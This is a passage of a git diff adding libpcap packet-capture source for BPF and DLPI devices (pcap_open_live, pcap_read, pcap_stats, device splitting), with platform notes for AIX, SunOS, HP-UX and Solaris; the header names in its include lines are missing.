+#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include /* optionally get BSD define */ +#include +#include +#include +#include +#include + +#include +#ifdef _AIX +#include /* for IFT_ values */ +#endif + +#include +#include +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#include "gencode.h" + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + struct bpf_stat s; + + /* + * "ps_recv" counts packets handed to the filter, not packets + * that passed the filter. This includes packets later dropped + * because we ran out of buffer space. + * + * "ps_drop" counts packets dropped inside the BPF device + * because we ran out of buffer space. It doesn't count + * packets dropped by the interface driver. It counts + * only packets that passed the filter. + * + * Both statistics include packets not yet read from the kernel + * by libpcap, and thus not yet seen by the application. + */ + if (ioctl(p->fd, BIOCGSTATS, (caddr_t)&s) < 0) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "BIOCGSTATS: %s", + pcap_strerror(errno)); + return (-1); + } + + ps->ps_recv = s.bs_recv; + ps->ps_drop = s.bs_drop; + return (0); +} + +int +pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + int cc; + int n = 0; + register u_char *bp, *ep; + + again: + cc = p->cc; + if (p->cc == 0) { + cc = read(p->fd, (char *)p->buffer, p->bufsize); + if (cc < 0) { + /* Don't choke when we get ptraced */ + switch (errno) { + + case EINTR: + goto again; + +#ifdef _AIX + case EFAULT: + /* + * Sigh. More AIX wonderfulness. + * + * It appears, according to Don + * Ebright, that a read from a BPF + * device returns -1 with "errno" + * set to EFAULT as an indication + * that packets have been dropped + * since the last successful read. + * + * This means that we shouldn't treat + * EFAULT as a fatal error; as we + * don't have an API for returning + * a "some packets were dropped since + * the last packet you saw" indication, + * we just ignore EFAULT and keep reading. + */ + goto again; +#endif + + case EWOULDBLOCK: + return (0); +#if defined(sun) && !defined(BSD) + /* + * Due to a SunOS bug, after 2^31 bytes, the kernel + * file offset overflows and read fails with EINVAL. + * The lseek() to 0 will fix things. + */ + case EINVAL: + if (lseek(p->fd, 0L, SEEK_CUR) + + p->bufsize < 0) { + (void)lseek(p->fd, 0L, SEEK_SET); + goto again; + } + /* fall through */ +#endif + } + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "read: %s", + pcap_strerror(errno)); + return (-1); + } + bp = p->buffer; + } else + bp = p->bp; + + /* + * Loop through each packet. + */ +#define bhp ((struct bpf_hdr *)bp) + ep = bp + cc; + while (bp < ep) { + register int caplen, hdrlen; + caplen = bhp->bh_caplen; + hdrlen = bhp->bh_hdrlen; + /* + * XXX A bpf_hdr matches a pcap_pkthdr. + */ +#ifdef _AIX + /* + * AIX's BPF returns seconds/nanoseconds time stamps, not + * seconds/microseconds time stamps. + * + * XXX - I'm guessing here that it's a "struct timestamp"; + * if not, this code won't compile, but, if not, you + * want to send us a bug report and fall back on using + * DLPI. It's not as if BPF used to work right on + * AIX before this change; this change attempts to fix + * the fact that it didn't.... + */ + bhp->bh_tstamp.tv_usec = bhp->bh_tstamp.tv_usec/1000; +#endif + (*callback)(user, (struct pcap_pkthdr*)bp, bp + hdrlen); + bp += BPF_WORDALIGN(caplen + hdrlen); + if (++n >= cnt && cnt > 0) { + p->bp = bp; + p->cc = ep - bp; + return (n); + } + } +#undef bhp + p->cc = 0; + return (n); +} + +static inline int +bpf_open(pcap_t *p, char *errbuf) +{ + int fd; + int n = 0; + char device[sizeof "/dev/bpf0000000000"]; + + /* + * Go through all the minors and find one that isn't in use. + */ + do { + (void)snprintf(device, sizeof(device), "/dev/bpf%d", n++); + fd = open(device, O_RDONLY); + } while (fd < 0 && errno == EBUSY); + + /* + * XXX better message for all minors used + */ + if (fd < 0) + snprintf(errbuf, PCAP_ERRBUF_SIZE, "(no devices found) %s: %s", + device, pcap_strerror(errno)); + + return (fd); +} + +/* + * XXX - on AIX, IBM's tcpdump (and perhaps the incompatible-with-everybody- + * else's libpcap in AIX 5.1) appears to forcibly load the BPF driver + * if it's not already loaded, and to create the BPF devices if they + * don't exist. + * + * It'd be nice if we could do the same, although the code to do so + * might be version-dependent, alas (the way to do it isn't necessarily + * documented). + */ +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + int fd; + struct ifreq ifr; + struct bpf_version bv; + u_int v; + pcap_t *p; + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", + pcap_strerror(errno)); + return (NULL); + } + memset(p, 0, sizeof(*p)); + fd = bpf_open(p, ebuf); + if (fd < 0) + goto bad; + + p->fd = fd; + p->snapshot = snaplen; + + if (ioctl(fd, BIOCVERSION, (caddr_t)&bv) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCVERSION: %s", + pcap_strerror(errno)); + goto bad; + } + if (bv.bv_major != BPF_MAJOR_VERSION || + bv.bv_minor < BPF_MINOR_VERSION) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "kernel bpf filter out of date"); + goto bad; + } + + /* + * Try finding a good size for the buffer; 32768 may be too + * big, so keep cutting it in half until we find a size + * that works, or run out of sizes to try. + * + * XXX - there should be a user-accessible hook to set the + * initial buffer size. + */ + for (v = 32768; v != 0; v >>= 1) { + /* Ignore the return value - this is because the call fails + * on BPF systems that don't have kernel malloc. And if + * the call fails, it's no big deal, we just continue to + * use the standard buffer size. + */ + (void) ioctl(fd, BIOCSBLEN, (caddr_t)&v); + + (void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); + if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) >= 0) + break; /* that size worked; we're done */ + + if (errno != ENOBUFS) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCSETIF: %s: %s", + device, pcap_strerror(errno)); + goto bad; + } + } + + if (v == 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "BIOCSBLEN: %s: No buffer size worked", device); + goto bad; + } + + /* Get the data link layer type. */ + if (ioctl(fd, BIOCGDLT, (caddr_t)&v) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCGDLT: %s", + pcap_strerror(errno)); + goto bad; + } +#ifdef _AIX + /* + * AIX's BPF returns IFF_ types, not DLT_ types, in BIOCGDLT. + */ + switch (v) { + + case IFT_ETHER: + case IFT_ISO88023: + v = DLT_EN10MB; + break; + + case IFT_FDDI: + v = DLT_FDDI; + break; + + case IFT_ISO88025: + v = DLT_IEEE802; + break; + + default: + /* + * We don't know what to map this to yet. + */ + snprintf(ebuf, PCAP_ERRBUF_SIZE, "unknown interface type %u", + v); + goto bad; + } +#endif +#if _BSDI_VERSION - 0 >= 199510 + /* The SLIP and PPP link layer header changed in BSD/OS 2.1 */ + switch (v) { + + case DLT_SLIP: + v = DLT_SLIP_BSDOS; + break; + + case DLT_PPP: + v = DLT_PPP_BSDOS; + break; + + case 11: /*DLT_FR*/ + v = DLT_FRELAY; + break; + + case 12: /*DLT_C_HDLC*/ + v = DLT_CHDLC; + break; + } +#endif + p->linktype = v; + + /* set timeout */ + if (to_ms != 0) { + /* + * XXX - is this seconds/nanoseconds in AIX? + * (Treating it as such doesn't fix the timeout + * problem described below.) + */ + struct timeval to; + to.tv_sec = to_ms / 1000; + to.tv_usec = (to_ms * 1000) % 1000000; + if (ioctl(p->fd, BIOCSRTIMEOUT, (caddr_t)&to) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCSRTIMEOUT: %s", + pcap_strerror(errno)); + goto bad; + } + } + +#ifdef _AIX +#ifdef BIOCIMMEDIATE + /* + * Darren Reed notes that + * + * On AIX (4.2 at least), if BIOCIMMEDIATE is not set, the + * timeout appears to be ignored and it waits until the buffer + * is filled before returning. The result of not having it + * set is almost worse than useless if your BPF filter + * is reducing things to only a few packets (i.e. one every + * second or so). + * + * so we turn BIOCIMMEDIATE mode on if this is AIX. + * + * We don't turn it on for other platforms, as that means we + * get woken up for every packet, which may not be what we want; + * in the Winter 1993 USENIX paper on BPF, they say: + * + * Since a process might want to look at every packet on a + * network and the time between packets can be only a few + * microseconds, it is not possible to do a read system call + * per packet and BPF must collect the data from several + * packets and return it as a unit when the monitoring + * application does a read. + * + * which I infer is the reason for the timeout - it means we + * wait that amount of time, in the hopes that more packets + * will arrive and we'll get them all with one read. + * + * Setting BIOCIMMEDIATE mode on FreeBSD (and probably other + * BSDs) causes the timeout to be ignored. + * + * On the other hand, some platforms (e.g., Linux) don't support + * timeouts, they just hand stuff to you as soon as it arrives; + * if that doesn't cause a problem on those platforms, it may + * be OK to have BIOCIMMEDIATE mode on BSD as well. + * + * (Note, though, that applications may depend on the read + * completing, even if no packets have arrived, when the timeout + * expires, e.g. GUI applications that have to check for input + * while waiting for packets to arrive; a non-zero timeout + * prevents "select()" from working right on FreeBSD and + * possibly other BSDs, as the timer doesn't start until a + * "read()" is done, so the timer isn't in effect if the + * application is blocked on a "select()", and the "select()" + * doesn't get woken up for a BPF device until the buffer + * fills up.) + */ + v = 1; + if (ioctl(p->fd, BIOCIMMEDIATE, &v) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCIMMEDIATE: %s", + pcap_strerror(errno)); + goto bad; + } +#endif /* BIOCIMMEDIATE */ +#endif /* _AIX */ + + if (promisc) { + /* set promiscuous mode, okay if it fails */ + if (ioctl(p->fd, BIOCPROMISC, NULL) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCPROMISC: %s", + pcap_strerror(errno)); + } + } + + if (ioctl(fd, BIOCGBLEN, (caddr_t)&v) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "BIOCGBLEN: %s", + pcap_strerror(errno)); + goto bad; + } + p->bufsize = v; + p->buffer = (u_char *)malloc(p->bufsize); + if (p->buffer == NULL) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s", + pcap_strerror(errno)); + goto bad; + } + + return (p); + bad: + (void)close(fd); + free(p); + return (NULL); +} + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ + return (0); +} + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + /* + * It looks that BPF code generated by gen_protochain() is not + * compatible with some of kernel BPF code (for example BSD/OS 3.1). + * Take a safer side for now. + */ + if (no_optimize) { + if (install_bpf_program(p, fp) < 0) + return (-1); + } else if (p->sf.rfile != NULL) { + if (install_bpf_program(p, fp) < 0) + return (-1); + } else if (ioctl(p->fd, BIOCSETF, (caddr_t)fp) < 0) { + snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "BIOCSETF: %s", + pcap_strerror(errno)); + return (-1); + } + return (0); +} diff --git a/Pcap-VMS/pcap-vci/pcap-dlpi.c b/Pcap-VMS/pcap-vci/pcap-dlpi.c new file mode 100644 index 00000000..7f79a8fd --- /dev/null +++ b/Pcap-VMS/pcap-vci/pcap-dlpi.c @@ -0,0 +1,1446 @@ +/* + * Copyright (c) 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * This code contributed by Atanu Ghosh (atanu@cs.ucl.ac.uk), + * University College London. + */ + +/* + * Packet capture routine for DLPI under SunOS 5, HP-UX 9/10/11, and AIX. + * + * Notes: + * + * - Apparently the DLIOCRAW ioctl() is specific to SunOS. + * + * - There is a bug in bufmod(7) such that setting the snapshot + * length results in data being left of the front of the packet. + * + * - It might be desirable to use pfmod(7) to filter packets in the + * kernel when possible. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/pcap-dlpi.c,v 1.79 2002/07/11 09:06:37 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#ifdef HAVE_SYS_BUFMOD_H +#include +#endif +#include +#ifdef HAVE_SYS_DLPI_EXT_H +#include +#endif +#ifdef HAVE_HPUX9 +#include +#endif +#ifdef DL_HP_PPA_ACK_OBS +#include +#endif +#include +#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H) +#include +#endif + +#ifdef HAVE_HPUX9 +#include +#endif + +#include +#ifdef HAVE_HPUX9 +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include + +#include "pcap-int.h" + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#ifndef PCAP_DEV_PREFIX +#ifdef _AIX +#define PCAP_DEV_PREFIX "/dev/dlpi" +#else +#define PCAP_DEV_PREFIX "/dev" +#endif +#endif + +#define MAXDLBUF 8192 + +/* Forwards */ +static char *split_dname(char *, int *, char *); +static int dlattachreq(int, bpf_u_int32, char *); +static int dlbindack(int, char *, char *); +static int dlbindreq(int, bpf_u_int32, char *); +static int dlinfoack(int, char *, char *); +static int dlinforeq(int, char *); +static int dlokack(int, const char *, char *, char *); +static int recv_ack(int, int, const char *, char *, char *); +static char *dlstrerror(bpf_u_int32); +static char *dlprim(bpf_u_int32); +static int dlpromisconreq(int, bpf_u_int32, char *); +#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H) +static char *get_release(bpf_u_int32 *, bpf_u_int32 *, bpf_u_int32 *); +#endif +static int send_request(int, char *, int, char *, char *); +#ifdef HAVE_SYS_BUFMOD_H +static int strioctl(int, int, int, char *); +#endif +#ifdef HAVE_HPUX9 +static int dlpi_kread(int, off_t, void *, u_int, char *); +#endif +#ifdef HAVE_DEV_DLPI +static int get_dlpi_ppa(int, const char *, int, char *); +#endif + +int +pcap_stats(pcap_t *p, struct pcap_stat *ps) +{ + + /* + * "ps_recv" counts packets handed to the filter, not packets + * that passed the filter. As filtering is done in userland, + * this does not include packets dropped because we ran out + * of buffer space. + * + * "ps_drop" counts packets dropped inside the DLPI service + * provider device device because of flow control requirements + * or resource exhaustion; it doesn't count packets dropped by + * the interface driver, or packets dropped upstream. As + * filtering is done in userland, it counts packets regardless + * of whether they would've passed the filter. + * + * These statistics don't include packets not yet read from + * the kernel by libpcap, but they may include packets not + * yet read from libpcap by the application. + */ + *ps = p->md.stat; + return (0); +} + +/* XXX Needed by HP-UX (at least) */ +static bpf_u_int32 ctlbuf[MAXDLBUF]; +static struct strbuf ctl = { + MAXDLBUF, + 0, + (char *)ctlbuf +}; + +int +pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user) +{ + register int cc, n, caplen, origlen; + register u_char *bp, *ep, *pk; + register struct bpf_insn *fcode; +#ifdef HAVE_SYS_BUFMOD_H + register struct sb_hdr *sbp; +#ifdef LBL_ALIGN + struct sb_hdr sbhdr; +#endif +#endif + int flags; + struct strbuf data; + struct pcap_pkthdr pkthdr; + + flags = 0; + cc = p->cc; + if (cc == 0) { + data.buf = (char *)p->buffer + p->offset; + data.maxlen = p->bufsize; + data.len = 0; + do { + if (getmsg(p->fd, &ctl, &data, &flags) < 0) { + /* Don't choke when we get ptraced */ + if (errno == EINTR) { + cc = 0; + continue; + } + strlcpy(p->errbuf, pcap_strerror(errno), + sizeof(p->errbuf)); + return (-1); + } + cc = data.len; + } while (cc == 0); + bp = p->buffer + p->offset; + } else + bp = p->bp; + + /* Loop through packets */ + fcode = p->fcode.bf_insns; + ep = bp + cc; + n = 0; +#ifdef HAVE_SYS_BUFMOD_H + while (bp < ep) { +#ifdef LBL_ALIGN + if ((long)bp & 3) { + sbp = &sbhdr; + memcpy(sbp, bp, sizeof(*sbp)); + } else +#endif + sbp = (struct sb_hdr *)bp; + p->md.stat.ps_drop += sbp->sbh_drops; + pk = bp + sizeof(*sbp); + bp += sbp->sbh_totlen; + origlen = sbp->sbh_origlen; + caplen = sbp->sbh_msglen; +#else + origlen = cc; + caplen = min(p->snapshot, cc); + pk = bp; + bp += caplen; +#endif + ++p->md.stat.ps_recv; + if (bpf_filter(fcode, pk, origlen, caplen)) { +#ifdef HAVE_SYS_BUFMOD_H + pkthdr.ts.tv_sec = sbp->sbh_timestamp.tv_sec; + pkthdr.ts.tv_usec = sbp->sbh_timestamp.tv_usec; +#else + (void)gettimeofday(&pkthdr.ts, NULL); +#endif + pkthdr.len = origlen; + pkthdr.caplen = caplen; + /* Insure caplen does not exceed snapshot */ + if (pkthdr.caplen > p->snapshot) + pkthdr.caplen = p->snapshot; + (*callback)(user, &pkthdr, pk); + if (++n >= cnt && cnt >= 0) { + p->cc = ep - bp; + p->bp = bp; + return (n); + } + } +#ifdef HAVE_SYS_BUFMOD_H + } +#endif + p->cc = 0; + return (n); +} + +#ifndef DL_IPATM +#define DL_IPATM 0x12 /* ATM Classical IP interface */ +#endif + +#ifdef HAVE_SOLARIS +/* + * For SunATM. + */ +#ifndef A_GET_UNITS +#define A_GET_UNITS (('A'<<8)|118) +#endif /* A_GET_UNITS */ +#ifndef A_PROMISCON_REQ +#define A_PROMISCON_REQ (('A'<<8)|121) +#endif /* A_PROMISCON_REQ */ +#endif /* HAVE_SOLARIS */ + +pcap_t * +pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) +{ + register char *cp; + register pcap_t *p; + int ppa; +#ifdef HAVE_SOLARIS + int isatm = 0; +#endif + register dl_info_ack_t *infop; +#ifdef HAVE_SYS_BUFMOD_H + bpf_u_int32 ss, flag; +#ifdef HAVE_SOLARIS + register char *release; + bpf_u_int32 osmajor, osminor, osmicro; +#endif +#endif + bpf_u_int32 buf[MAXDLBUF]; + char dname[100]; +#ifndef HAVE_DEV_DLPI + char dname2[100]; +#endif + + p = (pcap_t *)malloc(sizeof(*p)); + if (p == NULL) { + strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE); + return (NULL); + } + memset(p, 0, sizeof(*p)); + p->fd = -1; /* indicate that it hasn't been opened yet */ + +#ifdef HAVE_DEV_DLPI + /* + ** Remove any "/dev/" on the front of the device. + */ + cp = strrchr(device, '/'); + if (cp == NULL) + cp = device; + else + cp++; + strlcpy(dname, cp, sizeof(dname)); + + /* + * Split the device name into a device type name and a unit number; + * chop off the unit number, so "dname" is just a device type name. + */ + cp = split_dname(dname, &ppa, ebuf); + if (cp == NULL) + goto bad; + *cp = '\0'; + + /* + * Use "/dev/dlpi" as the device. + * + * XXX - HP's DLPI Programmer's Guide for HP-UX 11.00 says that + * the "dl_mjr_num" field is for the "major number of interface + * driver"; that's the major of "/dev/dlpi" on the system on + * which I tried this, but there may be DLPI devices that + * use a different driver, in which case we may need to + * search "/dev" for the appropriate device with that major + * device number, rather than hardwiring "/dev/dlpi". + */ + cp = "/dev/dlpi"; + if ((p->fd = open(cp, O_RDWR)) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, + "%s: %s", cp, pcap_strerror(errno)); + goto bad; + } + + /* + * Get a table of all PPAs for that device, and search that + * table for the specified device type name and unit number. + */ + ppa = get_dlpi_ppa(p->fd, dname, ppa, ebuf); + if (ppa < 0) + goto bad; +#else + /* + * Get the unit number, and a pointer to the end of the device + * type name. + */ + cp = split_dname(device, &ppa, ebuf); + if (cp == NULL) + goto bad; + + /* + * If the device name begins with "/", assume it begins with + * the pathname of the directory containing the device to open; + * otherwise, concatenate the device directory name and the + * device name. + */ + if (*device == '/') + strlcpy(dname, device, sizeof(dname)); + else + snprintf(dname, sizeof(dname), "%s/%s", PCAP_DEV_PREFIX, + device); + + /* + * Make a copy of the device pathname, and then remove the unit + * number from the device pathname. + */ + strlcpy(dname2, dname, sizeof(dname)); + *(dname + strlen(dname) - strlen(cp)) = '\0'; + + /* Try device without unit number */ + if ((p->fd = open(dname, O_RDWR)) < 0) { + if (errno != ENOENT) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "%s: %s", dname, + pcap_strerror(errno)); + goto bad; + } + + /* Try again with unit number */ + if ((p->fd = open(dname2, O_RDWR)) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "%s: %s", dname2, + pcap_strerror(errno)); + goto bad; + } + /* XXX Assume unit zero */ + ppa = 0; + } +#endif + + p->snapshot = snaplen; + + /* + ** Attach if "style 2" provider + */ + if (dlinforeq(p->fd, ebuf) < 0 || + dlinfoack(p->fd, (char *)buf, ebuf) < 0) + goto bad; + infop = &((union DL_primitives *)buf)->info_ack; +#ifdef HAVE_SOLARIS + if (infop->dl_mac_type == DL_IPATM) + isatm = 1; +#endif + if (infop->dl_provider_style == DL_STYLE2 && + (dlattachreq(p->fd, ppa, ebuf) < 0 || + dlokack(p->fd, "attach", (char *)buf, ebuf) < 0)) + goto bad; + /* + ** Bind (defer if using HP-UX 9 or HP-UX 10.20, totally skip if + ** using SINIX) + */ +#if !defined(HAVE_HPUX9) && !defined(HAVE_HPUX10_20) && !defined(sinix) +#ifdef _AIX + /* According to IBM's AIX Support Line, the dl_sap value + ** should not be less than 0x600 (1536) for standard Ethernet. + ** However, we seem to get DL_BADADDR - "DLSAP addr in improper + ** format or invalid" - errors if we use 1537 on the "tr0" + ** device, which, given that its name starts with "tr" and that + ** it's IBM, probably means a Token Ring device. (Perhaps we + ** need to use 1537 on "/dev/dlpi/en" because that device is for + ** D/I/X Ethernet, the "SAP" is actually an Ethernet type, and + ** it rejects invalid Ethernet types.) + ** + ** So if 1537 fails, we try 2, as Hyung Sik Yoon of IBM Korea + ** says that works on Token Ring (he says that 0 does *not* + ** work; perhaps that's considered an invalid LLC SAP value - I + ** assume the SAP value in a DLPI bind is an LLC SAP for network + ** types that use 802.2 LLC). + */ + if ((dlbindreq(p->fd, 1537, ebuf) < 0 && + dlbindreq(p->fd, 2, ebuf) < 0) || +#else + if (dlbindreq(p->fd, 0, ebuf) < 0 || +#endif + dlbindack(p->fd, (char *)buf, ebuf) < 0) + goto bad; +#endif + +#ifdef HAVE_SOLARIS + if (isatm) { + /* + ** Have to turn on some special ATM promiscuous mode + ** for SunATM. + ** Do *NOT* turn regular promiscuous mode on; it doesn't + ** help, and may break things. + */ + if (strioctl(p->fd, A_PROMISCON_REQ, 0, NULL) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "A_PROMISCON_REQ: %s", + pcap_strerror(errno)); + goto bad; + } + } else +#endif + if (promisc) { + /* + ** Enable promiscuous + */ + if (dlpromisconreq(p->fd, DL_PROMISC_PHYS, ebuf) < 0 || + dlokack(p->fd, "promisc_phys", (char *)buf, ebuf) < 0) + goto bad; + + /* + ** Try to enable multicast (you would have thought + ** promiscuous would be sufficient). (Skip if using + ** HP-UX or SINIX) + */ +#if !defined(__hpux) && !defined(sinix) + if (dlpromisconreq(p->fd, DL_PROMISC_MULTI, ebuf) < 0 || + dlokack(p->fd, "promisc_multi", (char *)buf, ebuf) < 0) + fprintf(stderr, + "WARNING: DL_PROMISC_MULTI failed (%s)\n", ebuf); +#endif + } + /* + ** Try to enable sap (when not in promiscuous mode when using + ** using HP-UX, when not doing SunATM on Solaris, and never + ** under SINIX) + */ +#ifndef sinix + if ( +#ifdef __hpux + !promisc && +#endif +#ifdef HAVE_SOLARIS + !isatm && +#endif + (dlpromisconreq(p->fd, DL_PROMISC_SAP, ebuf) < 0 || + dlokack(p->fd, "promisc_sap", (char *)buf, ebuf) < 0)) { + /* Not fatal if promisc since the DL_PROMISC_PHYS worked */ + if (promisc) + fprintf(stderr, + "WARNING: DL_PROMISC_SAP failed (%s)\n", ebuf); + else + goto bad; + } +#endif + + /* + ** HP-UX 9 and HP-UX 10.20 must bind after setting promiscuous + ** options) + */ +#if defined(HAVE_HPUX9) || defined(HAVE_HPUX10_20) + if (dlbindreq(p->fd, 0, ebuf) < 0 || + dlbindack(p->fd, (char *)buf, ebuf) < 0) + goto bad; +#endif + + /* + ** Determine link type + */ + if (dlinforeq(p->fd, ebuf) < 0 || + dlinfoack(p->fd, (char *)buf, ebuf) < 0) + goto bad; + + infop = &((union DL_primitives *)buf)->info_ack; + switch (infop->dl_mac_type) { + + case DL_CSMACD: + case DL_ETHER: + p->linktype = DLT_EN10MB; + p->offset = 2; + break; + + case DL_FDDI: + p->linktype = DLT_FDDI; + p->offset = 3; + break; + + case DL_TPR: + p->linktype = DLT_IEEE802; + p->offset = 2; + break; + +#ifdef HAVE_SOLARIS + case DL_IPATM: + p->linktype = DLT_SUNATM; + p->offset = 0; /* works for LANE and LLC encapsulation */ + break; +#endif + + default: + snprintf(ebuf, PCAP_ERRBUF_SIZE, "unknown mac type %lu", + (unsigned long)infop->dl_mac_type); + goto bad; + } + +#ifdef DLIOCRAW + /* + ** This is a non standard SunOS hack to get the full raw link-layer + ** header. + */ + if (strioctl(p->fd, DLIOCRAW, 0, NULL) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "DLIOCRAW: %s", + pcap_strerror(errno)); + goto bad; + } +#endif + +#ifdef HAVE_SYS_BUFMOD_H + /* + ** Another non standard call to get the data nicely buffered + */ + if (ioctl(p->fd, I_PUSH, "bufmod") != 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "I_PUSH bufmod: %s", + pcap_strerror(errno)); + goto bad; + } + + /* + ** Now that the bufmod is pushed lets configure it. + ** + ** There is a bug in bufmod(7). When dealing with messages of + ** less than snaplen size it strips data from the beginning not + ** the end. + ** + ** This bug is supposed to be fixed in 5.3.2. Also, there is a + ** patch available. Ask for bugid 1149065. + */ + ss = snaplen; +#ifdef HAVE_SOLARIS + release = get_release(&osmajor, &osminor, &osmicro); + if (osmajor == 5 && (osminor <= 2 || (osminor == 3 && osmicro < 2)) && + getenv("BUFMOD_FIXED") == NULL) { + fprintf(stderr, + "WARNING: bufmod is broken in SunOS %s; ignoring snaplen.\n", + release); + ss = 0; + } +#endif + if (ss > 0 && + strioctl(p->fd, SBIOCSSNAP, sizeof(ss), (char *)&ss) != 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SBIOCSSNAP: %s", + pcap_strerror(errno)); + goto bad; + } + + /* + ** Set up the bufmod flags + */ + if (strioctl(p->fd, SBIOCGFLAGS, sizeof(flag), (char *)&flag) < 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SBIOCGFLAGS: %s", + pcap_strerror(errno)); + goto bad; + } + flag |= SB_NO_DROPS; + if (strioctl(p->fd, SBIOCSFLAGS, sizeof(flag), (char *)&flag) != 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SBIOCSFLAGS: %s", + pcap_strerror(errno)); + goto bad; + } + /* + ** Set up the bufmod timeout + */ + if (to_ms != 0) { + struct timeval to; + + to.tv_sec = to_ms / 1000; + to.tv_usec = (to_ms * 1000) % 1000000; + if (strioctl(p->fd, SBIOCSTIME, sizeof(to), (char *)&to) != 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "SBIOCSTIME: %s", + pcap_strerror(errno)); + goto bad; + } + } +#endif + + /* + ** As the last operation flush the read side. + */ + if (ioctl(p->fd, I_FLUSH, FLUSHR) != 0) { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "FLUSHR: %s", + pcap_strerror(errno)); + goto bad; + } + /* Allocate data buffer */ + p->bufsize = MAXDLBUF * sizeof(bpf_u_int32); + p->buffer = (u_char *)malloc(p->bufsize + p->offset); + + return (p); +bad: + if (p->fd >= 0) + close(p->fd); + free(p); + return (NULL); +} + +/* + * Split a device name into a device type name and a unit number; + * return the a pointer to the beginning of the unit number, which + * is the end of the device type name, and set "*unitp" to the unit + * number. + * + * Returns NULL on error, and fills "ebuf" with an error message. + */ +static char * +split_dname(char *device, int *unitp, char *ebuf) +{ + char *cp; + char *eos; + int unit; + + /* + * Look for a number at the end of the device name string. + */ + cp = device + strlen(device) - 1; + if (*cp < '0' || *cp > '9') { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "%s missing unit number", + device); + return (NULL); + } + + /* Digits at end of string are unit number */ + while (cp-1 >= device && *(cp-1) >= '0' && *(cp-1) <= '9') + cp--; + + unit = strtol(cp, &eos, 10); + if (*eos != '\0') { + snprintf(ebuf, PCAP_ERRBUF_SIZE, "%s bad unit number", device); + return (NULL); + } + *unitp = unit; + return (cp); +} + +int +pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf) +{ +#ifdef HAVE_SOLARIS + int fd; + union { + u_int nunits; + char pad[516]; /* XXX - must be at least 513; is 516 + in "atmgetunits" */ + } buf; + char baname[2+1+1]; + u_int i; + + /* + * We may have to do special magic to get ATM devices. + */ + if ((fd = open("/dev/ba", O_RDWR)) < 0) { + /* + * We couldn't open the "ba" device. + * For now, just give up; perhaps we should + * return an error if the problem is neither + * a "that device doesn't exist" error (ENOENT, + * ENXIO, etc.) or a "you're not allowed to do + * that" error (EPERM, EACCES). + */ + return (0); + } + + if (strioctl(fd, A_GET_UNITS, sizeof(buf), (char *)&buf) < 0) { + snprintf(errbuf, PCAP_ERRBUF_SIZE, "A_GET_UNITS: %s", + pcap_strerror(errno)); + return (-1); + } + for (i = 0; i < buf.nunits; i++) { + snprintf(baname, sizeof baname, "ba%u", i); + if (pcap_add_if(alldevsp, baname, 0, NULL, errbuf) < 0) + return (-1); + } +#endif + + return (0); +} + +int +pcap_setfilter(pcap_t *p, struct bpf_program *fp) +{ + + if (install_bpf_program(p, fp) < 